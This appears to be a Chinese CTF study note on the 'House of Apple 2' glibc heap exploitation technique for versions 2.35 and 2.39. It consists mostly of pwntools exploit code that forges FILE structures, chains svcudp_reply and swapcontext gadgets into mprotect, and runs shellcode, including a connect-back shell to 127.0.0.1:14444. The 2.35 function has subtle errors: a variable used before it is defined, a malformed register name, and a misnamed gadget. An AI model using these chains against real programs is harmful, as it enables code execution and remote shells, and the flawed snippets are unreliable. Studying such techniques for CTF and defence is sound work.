glibc2.39 的 hose of apple2
2 .35
参考:关于house of apple的学习总结 | ZIKH26’s Blog
==2.35-0ubuntu3.8_amd64==
def house_of_apple2(libc: ELF, libc_base: int, data_addr: int):
# heap addr
file_addr = data_addr
widedata_addr = data_addr
vtable_addr = data_addr
rop_addr = data_addr + 0xe8
# libc addr
libc.address = libc_base
wide_vtable_addr = libc.sym['_IO_wfile_jumps']
system_addr = libc.sym['system']
gadget = libc_base + 0x16a050 + 26 # svcudp_reply
print("[?] gadget:", hex(gadget))
# rop chain
pop_3_ret = libc_base + rop.find_gadget(['pop r12','ret','pop r13','ret','pop 14','ret'])[0]
leave_ret = libc_base + rop.find_gadget(["ret"])[0]
data = flat({
0: b' sh\x00', # file: _flags
0x8: 'flag\x00',
0x18: 0, # widedata: _IO_write_end
0x20: 0, # file: _IO_write_base
0x28: 1, # file: _IO_write_ptr
0x30: 0, # widedata: _IO_buf_base
0x48: rop_addr, # gadget: rbp
0x68: gadget,
0xa0: widedata_addr, # file: _wide_data
0xc0: 0, # file: _mode
0xd8: wide_vtable_addr,
0xe0: vtable_addr,
}, filler=b"\x00")
rop = flat({
0x8: pop_3_ret,
0x18: rop_addr - 0x8, # rax
0x20: leave_ret,
}, filler=b"\x00")
chain = ROP(libc)
chain.open(file_addr + 0x8, 0) # pwntools 自动匹配参数
chain.read(3, file_addr, 0x100)
chain.write(1, file_addr, 0x100)
payload = data + rop + chain.chain()
2.39
参考:关于GLibc2.39下的house of apple利用 - rbp - 博客园
这个版本的变化是 FSOP 加上了 lock 的判断:
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
_IO_flockfile (fp); // 这里是等待 lock = 0,然后给 lock 上锁
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
还有 2.35 的 svcudp_reply 函数控制不了 rsp 了, 只能控制 r12,需要接着跳转到 swapcontext+157。
0x7ffff7c5815d <swapcontext+157>: mov rdx,r12
0x7ffff7c58160 <swapcontext+160>: mov rcx,QWORD PTR [rdx+0xe0]
0x7ffff7c58167 <swapcontext+167>: fldenv [rcx]
0x7ffff7c58169 <swapcontext+169>: ldmxcsr DWORD PTR [rdx+0x1c0]
0x7ffff7c58170 <swapcontext+176>: mov rsp,QWORD PTR [rdx+0xa0]
0x7ffff7c58177 <swapcontext+183>: mov rbx,QWORD PTR [rdx+0x80]
0x7ffff7c5817e <swapcontext+190>: mov rbp,QWORD PTR [rdx+0x78]
0x7ffff7c58182 <swapcontext+194>: mov r12,QWORD PTR [rdx+0x48]
0x7ffff7c58186 <swapcontext+198>: mov r13,QWORD PTR [rdx+0x50]
0x7ffff7c5818a <swapcontext+202>: mov r14,QWORD PTR [rdx+0x58]
0x7ffff7c5818e <swapcontext+206>: mov r15,QWORD PTR [rdx+0x60]
0x7ffff7c58192 <swapcontext+210>: test DWORD PTR fs:0x48,0x2
0x7ffff7c5819e <swapcontext+222>: je 0x7ffff7c58292 <swapcontext+466>
0x7ffff7c58292 <swapcontext+466>: mov rcx,QWORD PTR [rdx+0xa8]
0x7ffff7c58299 <swapcontext+473>: push rcx
0x7ffff7c5829a <swapcontext+474>: mov rdi,QWORD PTR [rdx+0x68]
0x7ffff7c5829e <swapcontext+478>: mov rsi,QWORD PTR [rdx+0x70]
0x7ffff7c582a2 <swapcontext+482>: mov rcx,QWORD PTR [rdx+0x98]
0x7ffff7c582a9 <swapcontext+489>: mov r8,QWORD PTR [rdx+0x28]
0x7ffff7c582ad <swapcontext+493>: mov r9,QWORD PTR [rdx+0x30]
0x7ffff7c582b1 <swapcontext+497>: mov rdx,QWORD PTR [rdx+0x88]
0x7ffff7c582b8 <swapcontext+504>: xor eax,eax
0x7ffff7c582ba <swapcontext+506>: ret
此外 2.39 的 libc 里没有 pop rdx; ret,所以要直接在 swapcontext 这段 gadget 里面布置好 rdx,然后直接 mprotect。
那么我们的利用思路就是这样的 fake_iolist+house of apple 调用链控制 rdi 并调用到 svcudp_reply+29
控制输入[rdi+0 x 48]=>r 12,[r 12+0 x 18]=>rax,[rax+0 x 28]=swapcontext+157
调用到 swapcontext+157–>r 12=>rdx,[rdx+0 xe 0]=>rcx(rcx 要有值,否则运行到 fldenv byte ptr [rcx]会卡住),[rdx+0 xa 0]=>rsp [rdx+0 xc 8]=ret 或者 pop rdi=>rcx(因为有个 push rcx 会抬栈)
[rdx+0 x 68]=>rdi,[rdx+0 x 70]=>rdi,[rdx+0 x 88]=>rdx,然后 ret 到 rsp 上配合 ROP 链完成 orw
原本到这里就结束了,我当时做的时候也是这么想的,结果往下写orw的时候出问题了,2.39的libc里居然没有pop rdx; ret?用pwntools搜索出来的地址的pop rdx没有执行权限,而直接用ROPgadget更是直接搜不出来。。运行完open之后rdx会清零,后面的rw不能控制rdx的话就没法用了,所以没办法,只能用唯一一次控制rdx的效果打mprotect然后写shellcode了。
==2.39-0ubuntu8.4==
def house_of_apple2(libc: ELF,libc_base, data_addr: int):
widedata_addr = data_addr
vtable_addr = data_addr
rop_addr = data_addr + 0xe8
sc_addr = data_addr + 0xe8 + 0xe8
wide_vtable_addr = libc_base + libc.sym['_IO_wfile_jumps']
mprotect = libc_base + libc.sym["mprotect"]
rop = ROP(libc)
ret = libc_base + rop.find_gadget(["ret"])[0]
gadget = libc_base + 0x179220 + 29 # svcudp_reply
gadget2 = libc_base + libc.sym["swapcontext"] + 157
data = flat({
0: b' sh\x00', # file: _flags
0x8: 'flag\x00',
0x18: 0, # widedata: _IO_write_end
0x20: 0, # file: _IO_write_base
0x28: 1, # file: _IO_write_ptr
0x30: 0, # widedata: _IO_buf_base
0x48: rop_addr, # gadget: rbp
0x68: gadget,
0x88: data_addr + 0x400,
0xa0: widedata_addr, # file: _wide_data
0xc0: 0, # file: _mode
0xd8: wide_vtable_addr,
0xe0: vtable_addr,
}, filler=b"\x00")
rop = flat({
0x18: rop_addr, # rax
0x28: gadget2, # call
0x68: data_addr - 0x10, # mprotect: rdi
0x70: 0x2000, # mprotect: rsi
0x88: 7, # mprotect: rdx
0xa0: rop_addr + 0xd0, # rsp
0xa8: mprotect, # call
0xc8: ret, # 平衡 push rcx
0xd0: sc_addr, # shellcode
0xe0: rop_addr + 8, # rcx
}, filler=b"\x00")
# sc = asm(shellcraft.sh())
sc = asm(shellcraft.connect('127.0.0.1',14444,'ipv4')+shellcraft.dupsh())
# sc = asm(shellcraft.open("flag") + shellcraft.read('rax', 'rsp', 0x100)+shellcraft.write(1, 'rsp', 'rax'))
return data + rop + sc